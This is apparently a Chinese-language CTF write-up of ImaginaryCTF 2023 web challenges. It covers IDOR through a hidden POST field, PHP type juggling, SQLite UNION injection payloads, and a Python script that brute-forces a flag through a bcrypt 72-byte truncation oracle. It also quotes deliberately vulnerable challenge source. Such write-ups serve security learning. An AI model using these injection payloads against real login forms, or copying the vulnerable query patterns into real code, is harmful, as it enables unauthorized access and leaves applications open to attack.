2023/7/28:ImaginaryCTF2023记录

写出来的

Idoriot

1.这题一开始给了一个登录界面,先点击下面连接跳转到注册界面
2.先随便输入点啥在username和password里
3.注册完成后会显示题目的源码

1
2
3
4
5
6
7
8
...
$admin = $db->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1')->fetch();

if ($admin['user_id'] === $_SESSION['user_id']) {
$flag = file_get_contents('flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
}else ...

以上为关于flag的判断,需要在发起新会话时让user_id=0
4.先进入logout.php退出登录,F12查看源码

1
<input type="hidden" name="user_id" value="310702386">

题目会随机给个id
5.用hackbar在注册界面传参:username=222222&password=1&user_id=0
6.获得flag:ictf{1ns3cure_direct_object_reference_from_hidden_post_param_i_guess}

idoriot-revenge

1.这题作为上面那题的修改,刚开始的流程相同,先查看源码

1
2
3
4
5
6
7
8
9
10
11
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();

if (isset($_GET['user_id'])) {
$user_id = (int) $_GET['user_id'];
if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
// Read the flag from flag.txt
$flag = file_get_contents('/flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
}
}

告诉我们user_id会用get传参,且强制转换为int型后再与字符串比较,当int为0时相等
之后还要满足发起会话时username=/admin/
2.先注册个username=/admin/的账号,之后在url中修改user_id=0
3.flag:ictf{this_ch4lleng3_creator_1s_really_an_idoriot}

没写出来的

后来看别人的wp

roks

查看源码,通过Dockerfile得知flag.png与image在一个目录下,点击主界面按钮得知会随机展示一张从image来的图片,解码后会检测传入的内容是否含有“/”和“.”,再拼接文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$filename = urldecode($_GET["file"]);
if (str_contains($filename, "/") or str_contains($filename, ".")) {
$contentType = mime_content_type("stopHacking.png");
header("Content-type: $contentType");
readfile("stopHacking.png");
} else {
$filePath = "images/" . urldecode($filename);
$contentType = mime_content_type($filePath);
header("Content-type: $contentType");
readfile($filePath);
}
?>

瞎了,没看到拼接时还会再解码,二次编码无法通过三次行

blank

sql注入,但是sqlite3,部分语句与mysql不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
...........
app.get('/login', (req, res) => {
res.render('login');
});

app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;

db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {
if (err) {
console.error(err);
res.status(500).send('Error retrieving user');
} else {
if (row) {
req.session.loggedIn = true;
req.session.username = username;
res.send('Login successful!');
} else {
res.status(401).send('Invalid username or password');
}
}
});
});
..........
app.get('/flag', (req, res) => {
if (req.session.username == "admin") {
res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt',
'utf8'));
}
else if (req.session.loggedIn) {
res.status(401).send('You must be admin to get the flag.');
} else {
res.status(401).send('Unauthorized. Please login first.');
}
});

原代码检查是否为admin的password,不报错即可

1
password=a"union select 1,2,3/*&username=admin

Perfect Picture

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def check(uploaded_image):
with open('flag.txt', 'r') as f:
flag = f.read()
with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image:
w, h = image.size
if w != 690 or h != 420:
return 0
if image.getpixel((412, 309)) != (52, 146, 235, 123):
return 0
if image.getpixel((12, 209)) != (42, 16, 125, 231):
return 0
if image.getpixel((264, 143)) != (122, 136, 25, 213):
return 0
with exiftool.ExifToolHelper() as et:
metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0]
try:
if metadata["PNG:Description"] != "jctf{not_the_flag}":
return 0
if metadata["PNG:Title"] != "kool_pic":
return 0
if metadata["PNG:Author"] != "anon":
return 0
except:
return 0
return flag

需要上传符合以上要求的图片
抄个脚本(exiftool.exe)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import subprocess
from PIL import Image, ImageDraw

def create_flag_image(filename):
img = Image.new('RGBA', (690, 420), color=(255, 255, 255, 255))
draw = ImageDraw.Draw(img)
draw.point((412, 309), fill=(52, 146, 235, 123))
draw.point((12, 209), fill=(42, 16, 125, 231))
draw.point((264, 143), fill=(122, 136, 25, 213))
img.save(filename)

def set_image_metadata(image_path):
metadata = {
"PNG:Description": "jctf{not_the_flag}",
"PNG:Title": "kool_pic",
"PNG:Author": "anon"
}

command = ["exiftool", "-overwrite_original"]
for tag, value in metadata.items():
command.append(f"-{tag}={value}")
command.append(image_path)

subprocess.run(command, capture_output=True, text=True)

def view_image_metadata(image_path):
command = ["exiftool", image_path]
result = subprocess.run(command, capture_output=True, text=True)

if result.returncode == 0:
print("Metadata for image: ", image_path)
print(result.stdout)
else:
print("Error:", result.stderr)

img_filename = "flag.png"
created_filename = create_flag_image(img_filename)
set_image_metadata(img_filename)
view_image_metadata(img_filename)

Login

按下F12查看原码
瞎了没看到source几个大字
还是sqlite3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}'; #如果无法从环境变量中获取到FLAG,那么就把后
面的那个赋值给$flag
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
$password .= $flag;
}

if ($username && $password) {
$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username ='$username'", true);
if (!$res) {
$msg = "Invalid username or password";
} else if (password_verify($password, $res['pwhash'])) {
$u = htmlentities($res['username']);
$msg = "Welcome $u! But there is no flag here :P";
if ($res['username'] === 'admin') {
$msg .= "<!-- magic: $magic -->";
}
} else {
$msg = "Invalid username or password";
}
}
?>
...
有个<?= $msg ?>

另一部分:

1
2
3
4
5
6
7
<?php
//echo password_hash("a", PASSWORD_DEFAULT);
echo
password_verify("a","$2y$10$5OlXnb0eEfoadvdCwULWvuKVU3HFUL7bElISRItRVbDySKxrHMiC
O")
?>
# 判断变量$password的hash值是否等于第二个参数(存入数据库当中的经哈希处理后的字符串),使用PASSWORD_BCRYPY算法加密,被加密字符串最多长72个字节

1.得到magic,使得password带上flag
2.通过对username的注入登录到admin,获取到magic688a35c685a7a654abc80f8e123ad9f0:

1
2
3
password=a&username=a' UNION SELECT 'admin' AS
username,'$2y$10$5OlXnb0eEfoadvdCwULWvuKVU3HFUL7bElISRItRVbDySKxrHMiCO' AS
pwhash/*

由于只判断前72个字符,可进行爆破
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import os

url = "http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0"

able =
"abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./
:;<=>?@[\]^`{|~}"
flag = "ictf{"

while True:
length = 71 - len(flag)
password = "a" * length
for i in able:
guess = password + flag + i
hash = os.popen(f"php exp.php {guess}").read()
headers = {"Content-Type": "application/x-www-form-urlencoded"} # need
for it
data = f"username=a' UNION SELECT 'admin' AS username,'{hash}' AS pwhash/*&password={password}"
r = requests.post(url, data=data, headers=headers)
if "admin" in r.text:
flag += i
print(flag)
break
if flag[-1:] == '}':
break

输出结果:

1
<?php echo password_hash($argv[1], PASSWORD_DEFAULT);